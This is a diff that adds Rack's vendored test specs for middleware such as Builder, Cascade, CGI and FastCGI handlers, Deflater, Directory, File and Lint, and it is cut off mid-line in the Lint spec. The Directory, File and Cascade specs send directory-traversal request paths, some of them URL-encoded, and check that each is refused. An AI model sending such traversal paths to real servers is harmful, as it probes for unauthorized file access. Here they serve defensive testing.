b/vendor/plugins/rack/test/spec_rack_builder.rb new file mode 100644 index 00000000..9739be6a --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_builder.rb @@ -0,0 +1,84 @@ +require 'test/spec' + +require 'rack/builder' +require 'rack/mock' +require 'rack/showexceptions' +require 'rack/auth/basic' + +context "Rack::Builder" do + specify "chains apps by default" do + app = Rack::Builder.new do + use Rack::ShowExceptions + run lambda { |env| raise "bzzzt" } + end.to_app + + Rack::MockRequest.new(app).get("/").should.be.server_error + Rack::MockRequest.new(app).get("/").should.be.server_error + Rack::MockRequest.new(app).get("/").should.be.server_error + end + + specify "has implicit #to_app" do + app = Rack::Builder.new do + use Rack::ShowExceptions + run lambda { |env| raise "bzzzt" } + end + + Rack::MockRequest.new(app).get("/").should.be.server_error + Rack::MockRequest.new(app).get("/").should.be.server_error + Rack::MockRequest.new(app).get("/").should.be.server_error + end + + specify "supports blocks on use" do + app = Rack::Builder.new do + use Rack::ShowExceptions + use Rack::Auth::Basic do |username, password| + 'secret' == password + end + + run lambda { |env| [200, {}, 'Hi Boss'] } + end + + response = Rack::MockRequest.new(app).get("/") + response.should.be.client_error + response.status.should.equal 401 + + # with auth... + response = Rack::MockRequest.new(app).get("/", + 'HTTP_AUTHORIZATION' => 'Basic ' + ["joe:secret"].pack("m*")) + response.status.should.equal 200 + response.body.to_s.should.equal 'Hi Boss' + end + + specify "has explicit #to_app" do + app = Rack::Builder.app do + use Rack::ShowExceptions + run lambda { |env| raise "bzzzt" } + end + + Rack::MockRequest.new(app).get("/").should.be.server_error + Rack::MockRequest.new(app).get("/").should.be.server_error + Rack::MockRequest.new(app).get("/").should.be.server_error + end + + specify "apps are initialized once" do + app = Rack::Builder.new do + class AppClass + def initialize + @called = 0 + end + def call(env) + raise "bzzzt" if @called > 0 + @called += 1 + [200, {'Content-Type' => 'text/plain'}, 'OK'] + end + end + + use Rack::ShowExceptions + run AppClass.new + end + + Rack::MockRequest.new(app).get("/").status.should.equal 200 + Rack::MockRequest.new(app).get("/").should.be.server_error + end + +end diff --git a/vendor/plugins/rack/test/spec_rack_camping.rb b/vendor/plugins/rack/test/spec_rack_camping.rb new file mode 100644 index 00000000..bed11710 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_camping.rb @@ -0,0 +1,51 @@ +require 'test/spec' +require 'stringio' +require 'uri' + +begin + require 'rack/mock' + + $-w, w = nil, $-w # yuck + require 'camping' + require 'rack/adapter/camping' + + Camping.goes :CampApp + module CampApp + module Controllers + class HW < R('/') + def get + @headers["X-Served-By"] = URI("http://rack.rubyforge.org") + "Camping works!" + end + + def post + "Data: #{input.foo}" + end + end + end + end + $-w = w + + context "Rack::Adapter::Camping" do + specify "works with GET" do + res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)). + get("/") + + res.should.be.ok + res["Content-Type"].should.equal "text/html" + res["X-Served-By"].should.equal "http://rack.rubyforge.org" + + res.body.should.equal "Camping works!" + end + + specify "works with POST" do + res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)). + post("/", :input => "foo=bar") + + res.should.be.ok + res.body.should.equal "Data: bar" + end + end +rescue LoadError + $stderr.puts "Skipping Rack::Adapter::Camping tests (Camping is required). `gem install camping` and try again." +end diff --git a/vendor/plugins/rack/test/spec_rack_cascade.rb b/vendor/plugins/rack/test/spec_rack_cascade.rb new file mode 100644 index 00000000..3c0f3be3 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_cascade.rb @@ -0,0 +1,50 @@ +require 'test/spec' + +require 'rack/cascade' +require 'rack/mock' + +require 'rack/urlmap' +require 'rack/file' + +context "Rack::Cascade" do + docroot = File.expand_path(File.dirname(__FILE__)) + app1 = Rack::File.new(docroot) + + app2 = Rack::URLMap.new("/crash" => lambda { |env| raise "boom" }) + + app3 = Rack::URLMap.new("/foo" => lambda { |env| + [200, { "Content-Type" => "text/plain"}, [""]]}) + + specify "should dispatch onward on 404 by default" do + cascade = Rack::Cascade.new([app1, app2, app3]) + Rack::MockRequest.new(cascade).get("/cgi/test").should.be.ok + Rack::MockRequest.new(cascade).get("/foo").should.be.ok + Rack::MockRequest.new(cascade).get("/toobad").should.be.not_found + Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.forbidden + end + + specify "should dispatch onward on whatever is passed" do + cascade = Rack::Cascade.new([app1, app2, app3], [404, 403]) + Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.not_found + end + + specify "should fail if empty" do + lambda { Rack::MockRequest.new(Rack::Cascade.new([])).get("/") }. + should.raise(ArgumentError) + end + + specify "should append new app" do + cascade = Rack::Cascade.new([], [404, 403]) + lambda { Rack::MockRequest.new(cascade).get('/cgi/test') }. + should.raise(ArgumentError) + cascade << app2 + Rack::MockRequest.new(cascade).get('/cgi/test').should.be.not_found + Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.not_found + cascade << app1 + Rack::MockRequest.new(cascade).get('/cgi/test').should.be.ok + Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.forbidden + Rack::MockRequest.new(cascade).get('/foo').should.be.not_found + cascade << app3 + Rack::MockRequest.new(cascade).get('/foo').should.be.ok + end +end diff --git a/vendor/plugins/rack/test/spec_rack_cgi.rb b/vendor/plugins/rack/test/spec_rack_cgi.rb new file mode 100644 index 00000000..331f9886 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_cgi.rb @@ -0,0 +1,89 @@ +require 'test/spec' +require 'testrequest' + +context "Rack::Handler::CGI" do + include TestRequest::Helpers + + setup do + @host = '0.0.0.0' + @port = 9203 + end + + # Keep this first. + specify "startup" do + $pid = fork { + Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi")) + exec "lighttpd -D -f lighttpd.conf" + } + end + + specify "should respond" do + sleep 1 + lambda { + GET("/test") + }.should.not.raise + end + + specify "should be a lighttpd" do + GET("/test") + status.should.be 200 + response["SERVER_SOFTWARE"].should =~ /lighttpd/ + response["HTTP_VERSION"].should.equal "HTTP/1.1" + response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" + response["SERVER_PORT"].should.equal @port.to_s + response["SERVER_NAME"].should =~ @host + end + + specify "should have rack headers" do + GET("/test") + response["rack.version"].should.equal [0,1] + response["rack.multithread"].should.be false + response["rack.multiprocess"].should.be true + response["rack.run_once"].should.be true + end + + specify "should have CGI headers on GET" do + GET("/test") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/" + response["PATH_INFO"].should.be.nil + response["QUERY_STRING"].should.equal "" + response["test.postdata"].should.equal "" + + GET("/test/foo?quux=1") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/" + response["PATH_INFO"].should.equal "/foo" + response["QUERY_STRING"].should.equal "quux=1" + end + + specify "should have CGI headers on POST" do + POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) + status.should.equal 200 + response["REQUEST_METHOD"].should.equal "POST" + response["SCRIPT_NAME"].should.equal "/test" + response["REQUEST_PATH"].should.equal "/" + response["QUERY_STRING"].should.equal "" + response["HTTP_X_TEST_HEADER"].should.equal "42" + response["test.postdata"].should.equal "rack-form-data=23" + end + + specify "should support HTTP auth" do + GET("/test", {:user => "ruth", :passwd => "secret"}) + response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" + end + + specify "should set status" do + GET("/test?secret") + status.should.equal 403 + response["rack.url_scheme"].should.equal "http" + end + + # Keep this last. + specify "shutdown" do + Process.kill 15, $pid + Process.wait($pid).should.equal $pid + end +end diff --git a/vendor/plugins/rack/test/spec_rack_commonlogger.rb b/vendor/plugins/rack/test/spec_rack_commonlogger.rb new file mode 100644 index 00000000..ba03b78a --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_commonlogger.rb @@ -0,0 +1,32 @@ +require 'test/spec' +require 'stringio' + +require 'rack/commonlogger' +require 'rack/lobster' +require 'rack/mock' + +context "Rack::CommonLogger" do + app = lambda { |env| + [200, + {"Content-Type" => "text/html"}, + ["foo"]]} + + specify "should log to rack.errors by default" do + log = StringIO.new + res = Rack::MockRequest.new(Rack::CommonLogger.new(app)).get("/") + + res.errors.should.not.be.empty + res.errors.should =~ /GET / + res.errors.should =~ / 200 / # status + res.errors.should =~ / 3 / # length + end + + specify "should log to anything with <<" do + log = "" + res = Rack::MockRequest.new(Rack::CommonLogger.new(app, log)).get("/") + + log.should =~ /GET / + log.should =~ / 200 / # status + log.should =~ / 3 / # length + end +end diff --git a/vendor/plugins/rack/test/spec_rack_conditionalget.rb b/vendor/plugins/rack/test/spec_rack_conditionalget.rb new file mode 100644 index 00000000..19649341 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_conditionalget.rb @@ -0,0 +1,41 @@ +require 'test/spec' +require 'time' + +require 'rack/mock' +require 'rack/conditionalget' + +context "Rack::ConditionalGet" do + specify "should set a 304 status and truncate body when If-Modified-Since hits" do + timestamp = Time.now.httpdate + app = Rack::ConditionalGet.new(lambda { |env| + [200, {'Last-Modified'=>timestamp}, 'TEST'] }) + + response = Rack::MockRequest.new(app). + get("/", 'HTTP_IF_MODIFIED_SINCE' => timestamp) + + response.status.should.be == 304 + response.body.should.be.empty + end + + specify "should set a 304 status and truncate body when If-None-Match hits" do + app = Rack::ConditionalGet.new(lambda { |env| + [200, {'Etag'=>'1234'}, 'TEST'] }) + + response = Rack::MockRequest.new(app). + get("/", 'HTTP_IF_NONE_MATCH' => '1234') + + response.status.should.be == 304 + response.body.should.be.empty + end + + specify "should not affect non-GET/HEAD requests" do + app = Rack::ConditionalGet.new(lambda { |env| + [200, {'Etag'=>'1234'}, 'TEST'] }) + + response = Rack::MockRequest.new(app). + post("/", 'HTTP_IF_NONE_MATCH' => '1234') + + response.status.should.be == 200 + response.body.should.be == 'TEST' + end +end diff --git a/vendor/plugins/rack/test/spec_rack_content_length.rb b/vendor/plugins/rack/test/spec_rack_content_length.rb new file mode 100644 index 00000000..7db9345f --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_content_length.rb @@ -0,0 +1,43 @@ +require 'rack/mock' +require 'rack/content_length' + +context "Rack::ContentLength" do + specify "sets Content-Length on String bodies if none is set" do + app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, "Hello, World!"] } + response = Rack::ContentLength.new(app).call({}) + response[1]['Content-Length'].should.equal '13' + end + + specify "sets Content-Length on Array bodies if none is set" do + app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, ["Hello, World!"]] } + response = Rack::ContentLength.new(app).call({}) + response[1]['Content-Length'].should.equal '13' + end + + specify "does not set Content-Length on variable length bodies" do + body = lambda { "Hello World!" } + def body.each ; yield call ; end + + app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, body] } + response = Rack::ContentLength.new(app).call({}) + response[1]['Content-Length'].should.be.nil + end + + specify "does not change Content-Length if it is already set" do + app = lambda { |env| [200, {'Content-Type' => 'text/plain', 'Content-Length' => '1'}, "Hello, World!"] } + response = Rack::ContentLength.new(app).call({}) + response[1]['Content-Length'].should.equal '1' + end + + specify "does not set Content-Length on 304 responses" do + app = lambda { |env| [304, {'Content-Type' => 'text/plain'}, []] } + response = Rack::ContentLength.new(app).call({}) + response[1]['Content-Length'].should.equal nil + end + + specify "does not set Content-Length when Transfer-Encoding is chunked" do + app = lambda { |env| [200, {'Transfer-Encoding' => 'chunked'}, []] } + response = Rack::ContentLength.new(app).call({}) + response[1]['Content-Length'].should.equal nil + end +end diff --git a/vendor/plugins/rack/test/spec_rack_deflater.rb b/vendor/plugins/rack/test/spec_rack_deflater.rb new file mode 100644 index 00000000..97be5fa7 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_deflater.rb @@ -0,0 +1,105 @@ +require 'test/spec' + +require 'rack/mock' +require 'rack/deflater' +require 'stringio' +require 'time' # for Time#httpdate + +context "Rack::Deflater" do + def build_response(status, body, accept_encoding, headers = {}) + app = lambda { |env| [status, {}, body] } + request = Rack::MockRequest.env_for("", headers.merge("HTTP_ACCEPT_ENCODING" => accept_encoding)) + response = Rack::Deflater.new(app).call(request) + + return response + end + + specify "should be able to deflate bodies that respond to each" do + body = Object.new + class << body; def each; yield("foo"); yield("bar"); end; end + + response = build_response(200, body, "deflate") + + response[0].should.equal(200) + response[1].should.equal({ "Content-Encoding" => "deflate", "Vary" => "Accept-Encoding" }) + response[2].to_s.should.equal("K\313\317OJ,\002\000") + end + + # TODO: This is really just a special case of the above... + specify "should be able to deflate String bodies" do + response = build_response(200, "Hello world!", "deflate") + + response[0].should.equal(200) + response[1].should.equal({ "Content-Encoding" => "deflate", "Vary" => "Accept-Encoding" }) + response[2].to_s.should.equal("\363H\315\311\311W(\317/\312IQ\004\000") + end + + specify "should be able to gzip bodies that respond to each" do + body = Object.new + class << body; def each; yield("foo"); yield("bar"); end; end + + response = build_response(200, body, "gzip") + + response[0].should.equal(200) + response[1].should.equal({ "Content-Encoding" => "gzip", "Vary" => "Accept-Encoding" }) + + io = StringIO.new(response[2].to_s) + gz = Zlib::GzipReader.new(io) + gz.read.should.equal("foobar") + gz.close + end + + specify "should be able to fallback to no deflation" do + response = build_response(200, "Hello world!", "superzip") + + response[0].should.equal(200) + response[1].should.equal({ "Vary" => "Accept-Encoding" }) + response[2].should.equal("Hello world!") + end + + specify "should be able to skip when there is no response entity body" do + response = build_response(304, [], "gzip") + + response[0].should.equal(304) + response[1].should.equal({}) + response[2].should.equal([]) + end + + specify "should handle the lack of an acceptable encoding" do + response1 = build_response(200, "Hello world!", "identity;q=0", "PATH_INFO" => "/") + response1[0].should.equal(406) + response1[1].should.equal({"Content-Type" => "text/plain"}) + response1[2].should.equal(["An acceptable encoding for the requested resource / could not be found."]) + + response2 = build_response(200, "Hello world!", "identity;q=0", "SCRIPT_NAME" => "/foo", "PATH_INFO" => "/bar") + response2[0].should.equal(406) + response2[1].should.equal({"Content-Type" => "text/plain"}) + response2[2].should.equal(["An acceptable encoding for the requested resource /foo/bar could not be found."]) + end + + specify "should handle gzip response with Last-Modified header" do + last_modified = Time.now.httpdate + + app = lambda { |env| [200, { "Last-Modified" => last_modified }, "Hello World!"] } + request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip") + response = Rack::Deflater.new(app).call(request) + + response[0].should.equal(200) + response[1].should.equal({ "Content-Encoding" => "gzip", "Vary" => "Accept-Encoding", "Last-Modified" => last_modified }) + + io = StringIO.new(response[2].to_s) + gz = Zlib::GzipReader.new(io) + gz.read.should.equal("Hello World!") + gz.close + end + + specify "should do nothing when no-transform Cache-Control directive present" do + app = lambda { |env| [200, {'Cache-Control' => 'no-transform'}, ['Hello World!']] } + request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip") + response = Rack::Deflater.new(app).call(request) + + response[0].should.equal(200) + response[1].should.not.include "Content-Encoding" + response[2].join.should.equal("Hello World!") + end +end diff --git a/vendor/plugins/rack/test/spec_rack_directory.rb b/vendor/plugins/rack/test/spec_rack_directory.rb new file mode 100644 index 00000000..f9828f5b --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_directory.rb @@ -0,0 +1,61 @@ +require 'test/spec' + +require 'rack/directory' +require 'rack/lint' + +require 'rack/mock' + +context "Rack::Directory" do + DOCROOT = File.expand_path(File.dirname(__FILE__)) + FILE_CATCH = proc{|env| [200, {'Content-Type'=>'text/plain', "Content-Length" => "7"}, 'passed!'] } + app = Rack::Directory.new DOCROOT, FILE_CATCH + + specify "serves directory indices" do + res = Rack::MockRequest.new(Rack::Lint.new(app)). + get("/cgi/") + + res.should.be.ok + res.should =~ // + end + + specify "passes to app if file found" do + res = Rack::MockRequest.new(Rack::Lint.new(app)). + get("/cgi/test") + + res.should.be.ok + res.should =~ /passed!/ + end + + specify "serves uri with URL encoded filenames" do + res = Rack::MockRequest.new(Rack::Lint.new(app)). + get("/%63%67%69/") # "/cgi/test" + + res.should.be.ok + res.should =~ // + + res = Rack::MockRequest.new(Rack::Lint.new(app)). + get("/cgi/%74%65%73%74") # "/cgi/test" + + res.should.be.ok + res.should =~ /passed!/ + end + + specify "does not allow directory traversal" do + res = Rack::MockRequest.new(Rack::Lint.new(app)). + get("/cgi/../test") + + res.should.be.forbidden + + res = Rack::MockRequest.new(Rack::Lint.new(app)). + get("/cgi/%2E%2E/test") + + res.should.be.forbidden + end + + specify "404s if it can't find the file" do + res = Rack::MockRequest.new(Rack::Lint.new(app)). + get("/cgi/blubb") + + res.should.be.not_found + end +end diff --git a/vendor/plugins/rack/test/spec_rack_fastcgi.rb b/vendor/plugins/rack/test/spec_rack_fastcgi.rb new file mode 100644 index 00000000..66ab4f79 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_fastcgi.rb @@ -0,0 +1,89 @@ +require 'test/spec' +require 'testrequest' + +context "Rack::Handler::FastCGI" do + include TestRequest::Helpers + + setup do + @host = '0.0.0.0' + @port = 9203 + end + + # Keep this first. + specify "startup" do + $pid = fork { + Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi")) + exec "lighttpd -D -f lighttpd.conf" + } + end + + specify "should respond" do + sleep 1 + lambda { + GET("/test.fcgi") + }.should.not.raise + end + + specify "should be a lighttpd" do + GET("/test.fcgi") + status.should.be 200 + response["SERVER_SOFTWARE"].should =~ /lighttpd/ + response["HTTP_VERSION"].should.equal "HTTP/1.1" + response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" + response["SERVER_PORT"].should.equal @port.to_s + response["SERVER_NAME"].should =~ @host + end + + specify "should have rack headers" do + GET("/test.fcgi") + response["rack.version"].should.equal [0,1] + response["rack.multithread"].should.be false + response["rack.multiprocess"].should.be true + response["rack.run_once"].should.be false + end + + specify "should have CGI headers on GET" do + GET("/test.fcgi") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test.fcgi" + response["REQUEST_PATH"].should.equal "/" + response["PATH_INFO"].should.be.nil + response["QUERY_STRING"].should.equal "" + response["test.postdata"].should.equal "" + + GET("/test.fcgi/foo?quux=1") + response["REQUEST_METHOD"].should.equal "GET" + response["SCRIPT_NAME"].should.equal "/test.fcgi" + response["REQUEST_PATH"].should.equal "/" + response["PATH_INFO"].should.equal "/foo" + response["QUERY_STRING"].should.equal "quux=1" + end + + specify "should have CGI headers on POST" do + POST("/test.fcgi", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) + status.should.equal 200 + response["REQUEST_METHOD"].should.equal "POST" + response["SCRIPT_NAME"].should.equal "/test.fcgi" + response["REQUEST_PATH"].should.equal "/" + response["QUERY_STRING"].should.equal "" + response["HTTP_X_TEST_HEADER"].should.equal "42" + response["test.postdata"].should.equal "rack-form-data=23" + end + + specify "should support HTTP auth" do + GET("/test.fcgi", {:user => "ruth", :passwd => "secret"}) + response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" + end + + specify "should set status" do + GET("/test.fcgi?secret") + status.should.equal 403 + response["rack.url_scheme"].should.equal "http" + end + + # Keep this last. + specify "shutdown" do + Process.kill 15, $pid + Process.wait($pid).should.equal $pid + end +end diff --git a/vendor/plugins/rack/test/spec_rack_file.rb b/vendor/plugins/rack/test/spec_rack_file.rb new file mode 100644 index 00000000..8fbd514f --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_file.rb @@ -0,0 +1,64 @@ +require 'test/spec' + +require 'rack/file' +require 'rack/lint' + +require 'rack/mock' + +context "Rack::File" do + DOCROOT = File.expand_path(File.dirname(__FILE__)) + + specify "serves files" do + res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). + get("/cgi/test") + + res.should.be.ok + res.should =~ /ruby/ + end + + specify "sets Last-Modified header" do + res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). + get("/cgi/test") + + path = File.join(DOCROOT, "/cgi/test") + + res.should.be.ok + res["Last-Modified"].should.equal File.mtime(path).httpdate + end + + specify "serves files with URL encoded filenames" do + res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). + get("/cgi/%74%65%73%74") # "/cgi/test" + + res.should.be.ok + res.should =~ /ruby/ + end + + specify "does not allow directory traversal" do + res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). + get("/cgi/../test") + + res.should.be.forbidden + end + + specify "does not allow directory traversal with encoded periods" do + res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). + get("/%2E%2E/README") + + res.should.be.forbidden + end + + specify "404s if it can't find the file" do + res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). + get("/cgi/blubb") + + res.should.be.not_found + end + + specify "detects SystemCallErrors" do + res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). + get("/cgi") + + res.should.be.not_found + end +end diff --git a/vendor/plugins/rack/test/spec_rack_handler.rb b/vendor/plugins/rack/test/spec_rack_handler.rb new file mode 100644 index 00000000..95052c73 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_handler.rb @@ -0,0 +1,24 @@ +require 'test/spec' + +require 'rack/handler' + +class Rack::Handler::Lobster; end +class RockLobster; end + +context "Rack::Handler" do + specify "has registered default handlers" do + Rack::Handler.get('cgi').should.equal Rack::Handler::CGI + Rack::Handler.get('fastcgi').should.equal Rack::Handler::FastCGI + Rack::Handler.get('mongrel').should.equal Rack::Handler::Mongrel + Rack::Handler.get('webrick').should.equal Rack::Handler::WEBrick + end + + specify "should get unregistered handler by name" do + Rack::Handler.get('lobster').should.equal Rack::Handler::Lobster + end + + specify "should register custom handler" do + Rack::Handler.register('rock_lobster', 'RockLobster') + Rack::Handler.get('rock_lobster').should.equal RockLobster + end +end diff --git a/vendor/plugins/rack/test/spec_rack_head.rb b/vendor/plugins/rack/test/spec_rack_head.rb new file mode 100644 index 00000000..48d3f81f --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_head.rb @@ -0,0 +1,30 @@ +require 'rack/head' +require 'rack/mock' + +context "Rack::Head" do + def test_response(headers = {}) + app = lambda { |env| [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]] } + request = Rack::MockRequest.env_for("/", headers) + response = Rack::Head.new(app).call(request) + + return response + end + + specify "passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests" do + %w[GET POST PUT DELETE OPTIONS TRACE].each do |type| + resp = test_response("REQUEST_METHOD" => type) + + resp[0].should.equal(200) + resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"}) + resp[2].should.equal(["foo"]) + end + end + + specify "removes body from HEAD requests" do + resp = test_response("REQUEST_METHOD" => "HEAD") + + resp[0].should.equal(200) + resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"}) + resp[2].should.equal([]) + end +end diff --git a/vendor/plugins/rack/test/spec_rack_lint.rb b/vendor/plugins/rack/test/spec_rack_lint.rb new file mode 100644 index 00000000..b4c97573 --- /dev/null +++ b/vendor/plugins/rack/test/spec_rack_lint.rb @@ -0,0 +1,380 @@ +require 'test/spec' +require 'stringio' + +require 'rack/lint' +require 'rack/mock' + +context "Rack::Lint" do + def env(*args) + Rack::MockRequest.env_for("/", *args) + end + + specify "passes valid request" do + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-type" => "test/plain", "Content-length" => "3"}, "foo"] + }).call(env({})) + }.should.not.raise + end + + specify "notices fatal errors" do + lambda { Rack::Lint.new(nil).call }.should.raise(Rack::Lint::LintError). + message.should.match(/No env given/) + end + + specify "notices environment errors" do + lambda { Rack::Lint.new(nil).call 5 }.should.raise(Rack::Lint::LintError). + message.should.match(/not a Hash/) + + lambda { + e = env + e.delete("REQUEST_METHOD") + Rack::Lint.new(nil).call(e) + }.should.raise(Rack::Lint::LintError). + message.should.match(/missing required key REQUEST_METHOD/) + + lambda { + e = env + e.delete("SERVER_NAME") + Rack::Lint.new(nil).call(e) + }.should.raise(Rack::Lint::LintError). + message.should.match(/missing required key SERVER_NAME/) + + + lambda { + Rack::Lint.new(nil).call(env("HTTP_CONTENT_TYPE" => "text/plain")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/contains HTTP_CONTENT_TYPE/) + + lambda { + Rack::Lint.new(nil).call(env("HTTP_CONTENT_LENGTH" => "42")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/contains HTTP_CONTENT_LENGTH/) + + lambda { + Rack::Lint.new(nil).call(env("FOO" => Object.new)) + }.should.raise(Rack::Lint::LintError). + message.should.match(/non-string value/) + + lambda { + Rack::Lint.new(nil).call(env("rack.version" => "0.2")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must be an Array/) + + lambda { + Rack::Lint.new(nil).call(env("rack.url_scheme" => "gopher")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/url_scheme unknown/) + + lambda { + Rack::Lint.new(nil).call(env("REQUEST_METHOD" => "FUCKUP?")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/REQUEST_METHOD/) + + lambda { + Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "howdy")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must start with/) + + lambda { + Rack::Lint.new(nil).call(env("PATH_INFO" => "../foo")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must start with/) + + lambda { + Rack::Lint.new(nil).call(env("CONTENT_LENGTH" => "xcii")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/Invalid CONTENT_LENGTH/) + + lambda { + e = env + e.delete("PATH_INFO") + e.delete("SCRIPT_NAME") + Rack::Lint.new(nil).call(e) + }.should.raise(Rack::Lint::LintError). + message.should.match(/One of .* must be set/) + + lambda { + Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "/")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/cannot be .* make it ''/) + end + + specify "notices input errors" do + lambda { + Rack::Lint.new(nil).call(env("rack.input" => "")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/does not respond to #gets/) + end + + specify "notices error errors" do + lambda { + Rack::Lint.new(nil).call(env("rack.errors" => "")) + }.should.raise(Rack::Lint::LintError). + message.should.match(/does not respond to #puts/) + end + + specify "notices status errors" do + lambda { + Rack::Lint.new(lambda { |env| + ["cc", {}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must be >=100 seen as integer/) + + lambda { + Rack::Lint.new(lambda { |env| + [42, {}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must be >=100 seen as integer/) + end + + specify "notices header errors" do + lambda { + Rack::Lint.new(lambda { |env| + [200, Object.new, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.equal("headers object should respond to #each, but doesn't (got Object as headers)") + + lambda { + Rack::Lint.new(lambda { |env| + [200, {true=>false}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.equal("header key must be a string, was TrueClass") + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Status" => "404"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must not contain Status/) + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-Type:" => "text/plain"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must not contain :/) + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-" => "text/plain"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/must not end/) + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"..%%quark%%.." => "text/plain"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.equal("invalid header name: ..%%quark%%..") + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Foo" => Object.new}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.equal("header values must respond to #each, but the value of 'Foo' doesn't (is Object)") + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Foo" => [1,2,3]}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.equal("header values must consist of Strings, but 'Foo' also contains a Fixnum") + + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Foo-Bar" => "text\000plain"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/invalid header/) + end + + specify "notices content-type errors" do + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/No Content-Type/) + + [100, 101, 204, 304].each do |status| + lambda { + Rack::Lint.new(lambda { |env| + [status, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/Content-Type header found/) + end + end + + specify "notices content-length errors" do + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-type" => "text/plain"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/No Content-Length/) + + [100, 101, 204, 304].each do |status| + lambda { + Rack::Lint.new(lambda { |env| + [status, {"Content-length" => "0"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/Content-Length header found/) + end + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-type" => "text/plain", "Content-Length" => "0", "Transfer-Encoding" => "chunked"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/Content-Length header should not be used/) + + lambda { + Rack::Lint.new(lambda { |env| + [200, {"Content-type" => "text/plain", "Content-Length" => "1"}, ""] + }).call(env({})) + }.should.raise(Rack::Lint::LintError). + message.should.match(/Content-Length header was 1, but should be 0/) + end + + specify "notices body errors" do + lambda { + status, header, body = 